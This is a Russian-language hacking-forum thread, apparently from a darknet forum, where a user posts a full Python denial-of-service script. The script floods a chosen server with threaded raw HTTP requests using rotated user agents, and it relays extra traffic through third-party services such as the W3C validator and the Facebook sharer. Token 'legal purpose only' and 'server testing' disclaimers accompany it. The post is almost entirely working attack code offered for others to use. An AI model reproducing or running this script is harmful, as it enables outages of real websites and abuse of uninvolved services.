DDoS-атака с питоном, сделанная mesvak

  • На форуме работает ручное одобрение пользователей. Это значит, что, если Ваша причина регистрации не соответствует тематике форума, а также Вы используете временную почту, Ваша учётная запись будет отклонена без возможности повторной регистрации. В дальнейшем - пожизненная блокировка обоих аккаунтов за создание мультиаккаунта.
  • Мы обновили Tor зеркало до v3!
    Для входа используйте следующий url: darkv3nw2...bzad.onion/
  • Мы вновь вернули telegram чат форуму, вступайте, общайтесь, задавайте любые вопросы как администрации, так и пользователям!
    Ссылка: https://t.me/chat_dark_time

mesvak

Участник

mesvak

Участник
31 Дек 2018
10
57
это простой код только для того, чтобы научиться кодировать Python и использовать его

я написал эту программу два года назад только для тренировок



Python:
# python 3.3.2+ mesvak Dos Script

# by mesvak

# only for legal purpose





from queue import Queue

from optparse import OptionParser

import time,sys,socket,threading,logging,urllib.request,random



def user_byme():

global uagent

uagent=[]

uagent.append("Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0) Opera 12.14")

uagent.append("Mozilla/5.0 (X11; Ubuntu; Linux i686; rv:26.0) Gecko/20100101 Firefox/26.0")

uagent.append("Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3")

uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")

uagent.append("Mozilla/5.0 (Windows NT 6.2) AppleWebKit/535.7 (KHTML, like Gecko) Comodo_Dragon/16.1.1.0 Chrome/16.0.912.63 Safari/535.7")

uagent.append("Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)")

uagent.append("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1")

return(uagent)





def my_bots():

global bots

bots=[]

bots.append("http://validator.w3.org/check?uri=")

bots.append("http://www.facebook.com/sharer/sharer.php?u=")

return(bots)





def bot_gaging(url):

try:

while True:

req = urllib.request.urlopen(urllib.request.Request(url,headers={'User-byme': random.choice(uagent)}))

print("\033[94mbot is gaging...\033[0m")

time.sleep(.1)

except:

time.sleep(.1)





def down_it(item):

try:

while True:

packet = str("GET / HTTP/1.1\nHost: "+host+"\n\n User-Agent: "+random.choice(uagent)+"\n"+data).encode('utf-8')

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,int(port)))

if s.sendto( packet, (host, int(port)) ):

s.shutdown(1)

print ("\033[92m",time.ctime(time.time()),"\033[0m \033[94m <--packet sent! gaje by mesvak--> \033[0m")

else:

s.shutdown(1)

print("\033[91mshut<->down\033[0m")

time.sleep(.1)

except socket.error as e:

print("\033[91mno connection! poor connection assholes \033[0m")# only for legal purpose

#print("\033[91m",e,"\033[0m")

time.sleep(.1)





def dos():

while True:

item = q.get()# by mesvak

down_it(item)

q.task_done()





def dos2():

while True:

item=w.get()

bot_gaging(random.choice(bots)+"http://"+host)

w.task_done()





def usage():

print (''' \033[92m mesvak dos script http://www.canyalcin.com/

It is the end user's responsibility to obey all applicable laws.

It is just for server testing script. Your ip is visible. \n

usage : python3 gage.py [-s] [-p] [-t]

-h : help

-s : server ip

-p : port default 80

-t : turbo default 135 \033[0m''')

sys.exit()





def get_parameters():

global host

global port

global thr

global item

optp = OptionParser(add_help_option=False,epilog="mesvaks")# by mesvak

optp.add_option("-q","--quiet", help="set logging to ERROR",action="store_const", dest="loglevel",const=logging.ERROR, default=logging.INFO)# by mesvak

optp.add_option("-s","--server", dest="host",help="attack to server ip -s ip")

optp.add_option("-p","--port",type="int",dest="port",help="-p 80 default 80")

optp.add_option("-t","--turbo",type="int",dest="turbo",help="default 135 -t 135")# by mesvak

optp.add_option("-h","--help",dest="help",action='store_true',help="help you")# by mesvak

opts, args = optp.parse_args()

logging.basicConfig(level=opts.loglevel,format='%(levelname)-8s %(message)s')

if opts.help:

usage()

if opts.host is not None:

host = opts.host

else:

usage()

if opts.port is None:

port = 80

else:

port = opts.port

if opts.turbo is None:

thr = 135

else:

thr = opts.turbo





# reading headers

global data

headers = open("headers.txt", "r")  # by mesvak

data = headers.read()

headers.close()

#task queue are q,w

q = Queue()

w = Queue()





if __name__ == '__main__':

if len(sys.argv) < 2:

usage()

get_parameters()

print("\033[92m",host," port: ",str(port)," turbo: ",str(thr),"\033[0m")

print("\033[94mPlease wait...\033[0m")# by mesvak

user_byme()

my_bots()

time.sleep(5)

try:

s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

s.connect((host,int(port)))

s.settimeout(1)

except socket.error as e:

print("\033[91mcheck server ip and port\033[0m")# by mesvak

usage()

while True:

for i in range(int(thr)):

t = threading.Thread(target=dos)

t.daemon = True  # if thread does exist, it dies

t.start()

t2 = threading.Thread(target=dos2)

t2.daemon = True  # if thread doest exist, it dies # by mesvak

t2.start()

start = time.time()

#tasking

item = 0

while True:

if (item>1800):    # for no memory crash

item=0    # by mesvak

time.sleep(.1)

item = item + 1

q.put(item)

w.put(item)

q.join()

w.join()



# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak# by mesvak




НАСЛАЖДАЙСЯ ЭТИМ
 
Последнее редактирование:

mesvak

Участник

mesvak

Участник
31 Дек 2018
10
57
сделал это два года назад с таким количеством учебников
В тот момент у него не было доступа к GitHub, он также может быть открыт для общего доступа, потому что это действительно просто, и обычно первые ddos, которые вы кодируете, такие же или с несколькими разными
 

О нас

  • Наше сообщество существует уже много лет и гордится тем, что предлагает непредвзятое, критическое обсуждение различных тем среди людей разных слоев общества. Мы работаем каждый день, чтобы убедиться, что наше сообщество является одним из лучших.

    Dark-Time 2015 - 2022

    При поддержке: XenForo.Info

Быстрая навигация

Меню пользователя